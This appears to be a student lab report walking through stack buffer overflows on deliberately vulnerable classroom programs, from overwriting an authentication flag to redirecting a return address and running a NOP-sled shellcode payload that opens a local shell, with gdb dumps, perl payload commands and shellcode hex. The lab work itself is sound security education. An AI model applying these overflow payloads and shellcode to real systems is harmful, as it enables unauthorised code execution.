

Project #9 – Buffer Overflow Report

Section A

For this section, the meaningful property is the length of the input we feed the system (barring edge cases).

- **Gain access without a valid password**

- 12345678901234567

To gain access without a valid address is relatively simple. We will simply use input that is one larger than the buffer in order to overflow *auth_flag*.

The int *auth_flag* is set to 1 at the beginning of execution. Afterwards, we copy the contents of password into *password_buffer* without checking for overflow. Our input of “12345678901234567” is enough to overflow, and since *auth_flag* is stored above *password_buffer* (at address *0xffffd05c*) the ascii value for “7” (*0x37*) is stored in *auth_flag*. Even though we will fail the two checks in *check_authentication()* the if check in *main()* will return true, since anything that is not zero is true in c.

We can see this is the stack memory. Here we print the stack before copying our input string into the buffer:



A stack dump showing memory addresses from 0xffffd020 to 0xffffd050. Handwritten blue arrows point to ESP at 0xffffd03c and EBP at 0xffffd078. Red handwritten labels 'password_buff' and 'auth_flag' point to 0xf7fa0808 and 0x0804831d respectively. The 'auth_flag' value is 0x00000000.

0xffffd020:	0xffffd03c	0xffffd2f9	0xf7df8139	0xf7fa0808
0xffffd030:	0xf7f9d000	0xf7f9d000	0x00000000	0x0804831d
0xffffd040:	0xf7f9d3fc	0x00000000	0x080498a8	0x00000000
0xffffd050:	0x00000002	0xffffd114	0xffffd078	0x0804854c

We see that `auth_flag` is set to zero. After copying our input into the buffer we see the following stack:



A stack dump showing memory addresses from 0xffffd020 to 0xffffd050. Handwritten blue arrows point to ESP at 0xffffd03c and EBP at 0xffffd078. Red handwritten labels 'password_buff' and 'auth_flag' point to 0xf7fa0808 and 0x0804854c respectively. The 'auth_flag' value is now 0x0804854c.

0xffffd020:	0xffffd03c	0x08048624	0xf7df8139	0xf7fa0808
0xffffd030:	0xf7f9d000	0xf7f9d000	0x00000000	0x34333231
0xffffd040:	0x38373635	0x32313039	0x36353433	0x00000037
0xffffd050:	0x00000002	0xffffd114	0xffffd078	0x0804854c

Thus a non-zero result (0x37 – which is the ascii value for “7”) will be returned and the “if statement” will return true:

```
int check_authentication(char *password) {
    int auth_flag = 0;
    char password_buffer[16];
    B1 → strcpy(password_buffer, password);
    B2 → if(strcmp(password_buffer, "brillig") == 0)
        auth_flag = 1;
        if(strcmp(password_buffer, "outgrabe") == 0)
            auth_flag = 1;
    return auth_flag;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        printf("Usage: %s <password>\n", argv[0]);
        exit(0);
    }
    12 → if(check_authentication(argv[1])) {
        printf("\n-----\n");
        printf("    Access Granted.\n");
        printf("-----\n");
    } else {
        printf("\nAccess Denied.\n");
    }
}
```

- Gain access without a valid password, then program crashes
 - 1234567890123456789012345678

Next, if we extend the length to 28 we crash after verifying:

```
student@labimage:~/Desktop/sample3$ ./auth_overflow1 1234567890123456789012345689
-----
Access Granted.
-----
Segmentation fault (core dumped)
student@labimage:~/Desktop/sample3$
```

This is because the null terminating character `0x00` messes up the saved value of `EBP`:

Before

Address	0x00000000	0x00000001	0x00000002	0x00000003
0xffffd020:	0xffffd03c	0xffffd2ee	0xf7df8139	0xf7fa0808
0xffffd030:	0xf7f9d000	0xf7f9d000	0x00000000	0x0804831d
0xffffd040:	0xf7f9d3fc	0x00000000	0x080498a8	0x00000000
0xffffd050:	0x00000002	0xffffd114	0xffffd078	0x0804854c
0xffffd060:	0xffffd2ee	0x00000000	0x0804859b	0x00000000
0xffffd070:	0xf7f9d000	0xf7f9d000	0x00000000	0xf7de0f21

ebp

After

Address	0x00000000	0x00000001	0x00000002	0x00000003
0xffffd020:	0xffffd03c	0x08048624	0xf7df8139	0xf7fa0808
0xffffd030:	0xf7f9d000	0xf7f9d000	0x00000000	0x34333231
0xffffd040:	0x38373635	0x32313039	0x36353433	0x30393837
0xffffd050:	0x34333231	0x38373635	0xffffd000	0x0804854c
0xffffd060:	0xffffd2ee	0x00000000	0x0804859b	0x00000000
0xffffd070:	0xf7f9d000	0xf7f9d000	0x00000000	0xf7de0f21

Messed up EBP

`EBP` acts as our base pointer into the given stack frame. Because the base pointer is saved when we load into the function, this means that when we try to return from `main()` our address will be messed up because of our overflow, causing it to crash (but only after the return on `main()`).

- Program crashes without gaining access
 - 1234567890123456798012345679012

Now if we extend our input to 32 we crash before returning:

```
student@labimage:~/Desktop/sample3$ ./auth_overflow1 12345678901234567890123456789012
Segmentation fault (core dumped)
student@labimage:~/Desktop/sample3$
```

This is because we overflow a null character (0x00) into the return address for *check_authentication()*. This means when we try to return from the authentication check we will go to the wrong address (0x08048500 instead of 0x0804854c like we were supposed to).

```
(gdb) x/64xw $sp
0xffffd010: 0xffffd02c 0xffffd2ea 0xf7df8139 0xf7fa0808
0xffffd020: 0xf7f9d000 0xf7f9d000 0x00000000 0x0804831d
0xffffd030: 0xf7f9d3fc 0x00000000 0x080498a8 0x00000000
0xffffd040: 0x00000002 0xffffd104 0xffffd068 0x0804854c
0xffffd050: 0xffffd2ea 0x00000000 0x0804859b 0x00000000
0xffffd060: 0xf7f9d000 0xf7f9d000 0x00000000 0xf7de0f21
0xffffd070: 0x00000002 0xffffd104 0xffffd110 0xffffd094
0xffffd080: 0x00000001 0x00000000 0xf7f9d000 0xf7fe570a
0xffffd090: 0xf7ffd000 0x00000000 0xf7f9d000 0x00000000
0xffffd0a0: 0x00000000 0xc6a9b43e 0x8514922e 0x00000000
0xffffd0b0: 0x00000000 0x00000000 0x00000002 0x080483c0
0xffffd0c0: 0x00000000 0xf7fead50 0xf7fe5960 0xf7ffd000
0xffffd0d0: 0x00000002 0x080483c0 0x00000000 0x080483e1
0xffffd0e0: 0x0804850c 0x00000002 0xffffd104 0x08048590
0xffffd0f0: 0x08048600 0xf7fe5960 0xffffd0fc 0xf7ffd940
0xffffd100: 0x00000002 0xffffd2bd 0xffffd2ea 0x00000000
```

Return
addr
for
check
auth

```
(gdb) x/64xw $sp
0xffffd010: 0xffffd02c 0x08048624 0xf7df8139 0xf7fa0808
0xffffd020: 0xf7f9d000 0xf7f9d000 0x00000000 0x34333231
0xffffd030: 0x38373635 0x32313039 0x36353433 0x30393837
0xffffd040: 0x34333231 0x38373635 0x32313039 0x08048500
```

missed up ret 5

This causes us to jump back into the *check_authentication()* function to a *movl* instruction where we do not have access to memory. This intern causes a seg fault error which crashes the program (never returning to *main()*):

```

0x00484f1 <check_authentication+69>    lea    -0xc(%ebp),%eax
0x00484f4 <check_authentication+72>    mov    %eax,%esp
0x00484f7 <check_authentication+75>    call   0x0048350 <strcmp@plt>
0x00484fc <check_authentication+80>    test   %eax,%eax
0x00484fe <check_authentication+82>    jne     0x0048507 <check_authentication+91>
0x0048500 <check_authentication+84>    movl    $0x1,-0xc(%ebp)
0x0048507 <check_authentication+91>    mov    -0xc(%ebp),%eax
0x004850a <check_authentication+94>    leave  %eax
0x004850b <check_authentication+95>    ret
0x004850c <main>                          push    %ebp
0x004850d <main+1>                          mov     %esp,%ebp
0x004850f <main+3>                          and     $0xffffffff,%esp
0x0048512 <main+6>                          sub     $0x10,%esp
0x0048515 <main+9>                          cmpl    $0x1,0x8(%ebp)
0x0048519 <main+13>                         jg      0x004853c <main+48>
0x004851b <main+15>                         mov     0xc(%ebp),%eax
0x004851e <main+18>                         mov     (%eax),%eax
0x0048520 <main+20>                         mov     %eax,0x4(%esp)
0x0048524 <main+24>                         movl    $0x0048635,(%esp)
0x004852b <main+31>                         call    0x0048360 <printf@plt>

```

native process 3926 In: check_authentication

(gdb) break *0x00484c6

Breakpoint 1 at 0x00484c6: file auth_overflow1.c, line 9.

(gdb) break *0x00484d9

Breakpoint 2 at 0x00484d9: file auth_overflow1.c, line 11.

(gdb) run 12345678901234567890123456789012

Starting program: /home/student/Desktop/sample3/auth_overflow1 12345678901234567890123456789012

Breakpoint 1, 0x00484c6 in check_authentication (password=0xffffd2ea "12345678901234567890123456789012") at auth_overflow1.c:9

(gdb) c

Continuing.

Breakpoint 2, 0x00484d9 in check_authentication (password=0xffffd2ea "12345678901234567890123456789012") at auth_overflow1.c:11

(gdb) s

check_authentication (password=<error reading variable: Cannot access memory at address 0x32313041>) at auth_overflow1.c:14

(gdb) s

Program received signal SIGSEGV, Segmentation fault.

check_authentication (password=<error reading variable: Cannot access memory at address 0x32313041>) at auth_overflow1.c:14

(gdb) █

Section B

For this section, I simply ran the program and found that we wanted to simply replace the return value with a new address that bypasses the check. From the c level of granularity, this means jumping into the access granted print statements.

```
0x80484f5 <check_authentication+73> test    %eax,%eax
0x80484f7 <check_authentication+75> jne     0x8048500 <check_authentication+84>
0x80484f9 <check_authentication+77> mov     $0x1,%eax
0x80484fe <check_authentication+82> jmp     0x8048505 <check_authentication+89>
0x8048500 <check_authentication+84> mov     $0x0,%eax
0x8048505 <check_authentication+89> leave
0x8048506 <check_authentication+90> ret
0x8048507 <main> push    %ebp
0x8048508 <main+1> mov     %esp,%ebp
0x804850a <main+3> and     $0xffffffff0,%esp
0x804850d <main+6> sub     $0x10,%esp
0x8048510 <main+9> cmpl    $0x1,0x8(%ebp)
0x8048514 <main+13> jg      0x8048537 <main+48>
0x8048516 <main+15> mov     0xc(%ebp),%eax
0x8048519 <main+18> mov     (%eax),%eax
0x804851b <main+20> mov     %eax,0x4(%esp)
0x804851f <main+24> movl    $0x8048625,(%esp)
0x8048526 <main+31> call    0x8048360 <printf@plt>
0x804852b <main+36> movl    $0x0,(%esp)
0x8048532 <main+43> call    0x80483a0 <exit@plt>
0x8048537 <main+48> mov     0xc(%ebp),%eax
0x804853a <main+51> add     $0x4,%eax
0x804853d <main+54> mov     (%eax),%eax
0x804853f <main+56> mov     %eax,(%esp)
0x8048542 <main+59> call    0x80484ac <check_authentication>
0x8048547 <main+64> test    %eax,%eax
0x8048549 <main+66> je      0x8048571 <main+106>
0x804854b <main+68> movl    $0x804863b,(%esp)
0x8048552 <main+75> call    0x8048380 <puts@plt>
0x8048557 <main+80> movl    $0x8048658,(%esp)
0x804855e <main+87> call    0x8048380 <puts@plt>
```

native process 4059 In: check authentication
Starting program: /home/student/Desktop/sample3/auth_overflow3 test

Breakpoint 1, 0x080484c6 in check_authentication (password=0xffffd306 "test") at auth_overflow3.c:9
(gdb) c
Continuing.

Breakpoint 2, 0x080484d9 in check_authentication (password=0xffffd306 "test") at auth_overflow3.c:11
Continuing.

[Inferior 1 (process 4055) exited with code 020]
(gdb) run test
Starting program: /home/student/Desktop/sample3/auth_overflow3 test

Breakpoint 1, 0x080484c6 in check_authentication (password=0xffffd306 "test") at auth_overflow3.c:9
(gdb) x/16xw \$sp

0xffffd030:	0xffffd04c	0xffffd306	0xf7df8139	0xf7fa0808
0xffffd040:	0xf7f9d000	0xf7f9d000	0x00000000	0x0804831d
0xffffd050:	0xf7f9d3fc	0x00000000	0x08049898	0x00000000
0xffffd060:	0x00000002	0xffffd124	0xffffd088	0x08048547

Return address

I found that we want to jump to `0x804854b` instead of `0x8048547`. So we simply write `0x804854b` to the address `0xffffd06c` (which is the return address). We do so by using the `"set(int)0xffffd06c = 0x804854b"` command:

```

(gdb) x/16xw $sp
0xffffd030: 0xffffd04c 0x08048614 0xf7df8139 0xf7fa0808
0xffffd040: 0xf7f9d000 0xf7f9d000 0x00000000 0x74736574
0xffffd050: 0xf7f9d300 0x00000000 0x08049898 0x00000000
0xffffd060: 0x00000002 0xffffd124 0xffffd088 0x08048547
(gdb) set {int}0xffffd06c = 0x804854b
(gdb) x/16xw $sp
0xffffd030: 0xffffd04c 0x08048614 0xf7df8139 0xf7fa0808
0xffffd040: 0xf7f9d000 0xf7f9d000 0x00000000 0x74736574
0xffffd050: 0xf7f9d300 0x00000000 0x08049898 0x00000000
0xffffd060: 0x00000002 0xffffd124 0xffffd088 0x0804854b

```

← Old return

← New Return

This allows us to just into the access granted print statements:

```

0xf7de0f0d < _libc_start_main+221> mov    -0xc8(%eax),%eax
0xf7de0f13 < _libc_start_main+227> pushl  (%eax)
0xf7de0f15 < _libc_start_main+229> pushl  0x70(%esp)
0xf7de0f19 < _libc_start_main+233> pushl  0x70(%esp)
0xf7de0f1d < _libc_start_main+237> call   *0x70(%esp)
> 0xf7de0f21 < _libc_start_main+241> add    $0x10,%esp
0xf7de0f24 < _libc_start_main+244> sub    $0xc,%esp
0xf7de0f27 < _libc_start_main+247> push   %eax
0xf7de0f28 < _libc_start_main+248> call   0xf7df8060 <exit>
0xf7de0f2d < _libc_start_main+253> mov    0x8(%esp),%edi
0xf7de0f31 < _libc_start_main+257> mov    0x3964(%edi),%eax
0xf7de0f37 < _libc_start_main+263> ror    $0x9,%eax
0xf7de0f3a < _libc_start_main+266> xor    %gs:0x18,%eax
0xf7de0f41 < _libc_start_main+273> call   *%eax
0xf7de0f43 < _libc_start_main+275> mov    0x395c(%edi),%eax
0xf7de0f49 < _libc_start_main+281> ror    $0x9,%eax
0xf7de0f4c < _libc_start_main+284> xor    %gs:0x18,%eax
0xf7de0f53 < _libc_start_main+291> lock decl %eax
0xf7de0f56 < _libc_start_main+294> sete   %dl
0xf7de0f59 < _libc_start_main+297> test   %dl,%dl
0xffffd030: 0xffffd04c 0x08048614 0xf7df8139 0xf7fa0808
0xffffd040: 0xf7f9d000 0xf7f9d000 0x00000000 0x74736574
0xffffd060: 0x00000002 0xffffd124 0xffffd088 0x08048547
(gdb) set {int}0xffffd06c = 0x804854b
(gdb) x/16xw $sp
0xffffd030: 0xffffd04c 0x08048614 0xf7df8139 0xf7fa0808
0xffffd040: 0xf7f9d000 0xf7f9d000 0x00000000 0x74736574
0xffffd050: 0xf7f9d300 0x00000000 0x08049898 0x00000000
0xffffd060: 0x00000002 0xffffd124 0xffffd088 0x0804854b
(gdb) s
main (argc=2, argv=0xffffd124) at auth_overflow3.c:24
(gdb) sni
Undefined command: "sni". Try "help".
(gdb) refresh
(gdb) s
-----
Access Granted.
-----
0xf7de0f21 in _libc_start_main () from /lib32/libc.so.6

```


Section C

```
student@labimage:~/Desktop/sample3$ ./auth_overflow3 `perl -e 'print "ffff" x 8 . "\x4b\x85\x04\x08"'`
-----
Access Granted.
-----
Segmentation fault (core dumped)
student@labimage:~/Desktop/sample3$
```

Section D

For this final section we can reuse the previous command as the start of this command. From the previous command we can use the padding of *f*'s to fill memory until we get to the space that is allocated for the return address (of *check_authentication()*). We know afterward's that we'll need some address, but we're not sure where we want to jump to yet. For now, we'll just leave our old address in there and fix it later. Next, to make the jump into our executable to a bit easier we'll make a *nop* sled with: *perl -e 'print "\x90" x 200'*. This will make it so we can simply jump into somewhere in the middle of the *nop*'s and slide down to our code. This is done because *nop* commands simply proceed to the next command. Speaking of sliding down to our code, we finish the command with concatenating the contents of *shellcode5.bin* to our input. This results in the command:

```
./auth_overflow3 `perl -e 'print "ffff" x 8 . "\x4b\x85\x04\x08" . "\x90" x 200'`cat shellcode5.bin`
```

We run the program with this argument in GDB and print the stack:

1

```
Breakpoint 2, 0x080484d9 in check_authentication (password=0x90909090 <error: Cannot access memory at address 0x90909090>) at auth_overflow3.c:11
(gdb) x/64 $sp
0xffffcf20: 0xffffcf3c  0x08048614  0xf7df8139  0xf7fa0808
0xffffcf30: 0xf7f9d000  0xf7f9d000  0x00000000  0x66666666
0xffffcf40: 0x66666666  0x66666666  0x66666666  0x66666666
0xffffcf50: 0x66666666  0x66666666  0x66666666  0x0804854b
0xffffcf60: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcf70: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcf80: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcf90: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcfa0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcfb0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcfc0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcd0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffce0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcf0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd00: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd10: 0x90909090  0x90909090  0x90909090  0x90909090

SP →
Jump some where here
← Start of buff
← Return address
} Nop sled
```

Labeled above, we see where our *nop* sled lies in memory (starting at address `0xffffcf40`). Now we can simply pick an address within the sled and replace that with the address in our command (that writes to the return address of `check_authentication()`, which will allow us to jump to that space in memory after finishing the function – instead of going back to `main()`).

Additionally, if we examine memory further down, we can see where the *nop* sled ends and the inserted shell code begins:

```

0xffffcf30: 0xf7f9d000 0xf7f9d000 0x00000000 0x66666666
0xffffcf40: 0x66666666 0x66666666 0x66666666 0x66666666
0xffffcf50: 0x66666666 0x66666666 0x66666666 0x0804854b
0xffffcf60: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcf70: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcf80: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcf90: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcfa0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcfb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcfc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcfd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcfe0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcff0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd000: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd010: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd020: 0x90909090 0x90909090 0xdb31c031 0xb099c931
0xffffd030: 0x6a80cda4 0x6851580b 0x68732f2f 0x69622f68
  
```

NOP sled (handwritten red text with arrows pointing to the 0x90909090 bytes)

Shell code (handwritten red text with arrows pointing to the 0xdb31c031 and subsequent bytes)

This matches with the hex of the `shellcode5.bin` contents: (all be it backwards, per word)

```

31 C0 31 DB 31 C9 99 B0 A4 CD 80 6A 0B 58 51 68
2F 2F 73 68 68 2F 62 69 6E 89 E3 51 89 E2 53 89
E1 CD 80 +
  
```

Thus, we simply replace the old address with an address in the *nop* sled (let's say, `0xffffcf90`) and run the command again to access the shell:

```

student@labimage:~/Desktop/sample3$ ./auth_overflow3 `perl -e 'print "ffff" x 8 . "\x90\xcf\xff\xff" . "\x90" x 200` cat shellcode5.bin`
$ cat hello world
cat: hello: No such file or directory
cat: world: No such file or directory
$ ls
auth_overflow1  auth_overflow2.c  auth_overflow3.c  auth_overflow3x.c  compiler-flags  shellcode5.bin  shellcode5nop.bin
auth_overflow1.c  auth_overflow3  auth_overflow3x  checkstack  shellcode5  shellcode5.c
$ wd
/bin//sh: 3: wd: not found
$ exit
student@labimage:~/Desktop/sample3$
  
```

This allows us to access the shell within `auth_overflow3`, from the command line.